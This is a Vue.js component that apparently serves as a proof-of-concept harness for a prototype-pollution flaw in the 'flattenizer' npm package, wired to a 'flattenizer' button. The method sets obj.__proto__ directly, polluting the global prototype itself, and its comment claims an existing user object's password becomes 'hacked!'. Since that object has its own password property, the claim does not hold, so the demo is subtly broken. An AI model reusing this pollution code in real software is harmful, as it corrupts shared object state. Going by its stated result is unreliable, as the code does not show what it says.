<template>
  <div class="hello">
    <h1>{{ msg }}</h1>
    <h2>我是hellow world组件</h2>
    <button @click="tryLogin">登录</button>
    <button @click="flattenizer">flattenizer</button>
  </div>
</template>

<script>
import {extract} from '@/utils/child'

export default {
  name: 'HelloWorld',
  data() {
    return {
      msg: 'Welcome to Your Vue.js App'
    }
  },
  methods: {
    tryLogin() {
      extract('123')
    },
    flattenizer() {
      const aa = require('flattenizer')
      function createPollutedObject(propertyName, value) {
        const obj = {};
        obj.__proto__[propertyName] = value;
        return obj;
      }

      const user = {
        id: 12345,
        email: "user@example.com",
        password: "secret123"
      };

      const pollutedObject = createPollutedObject("password", "hacked!");
      aa.unflatten(pollutedObject);

      console.log(user.password); // "hacked!"
    }

  }
}
</script>

<!-- Add "scoped" attribute to limit CSS to this component only -->
<style scoped>
h1, h2 {
  font-weight: normal;
}

ul {
  list-style-type: none;
  padding: 0;
}

li {
  display: inline-block;
  margin: 0 10px;
}

a {
  color: #42b983;
}
</style>
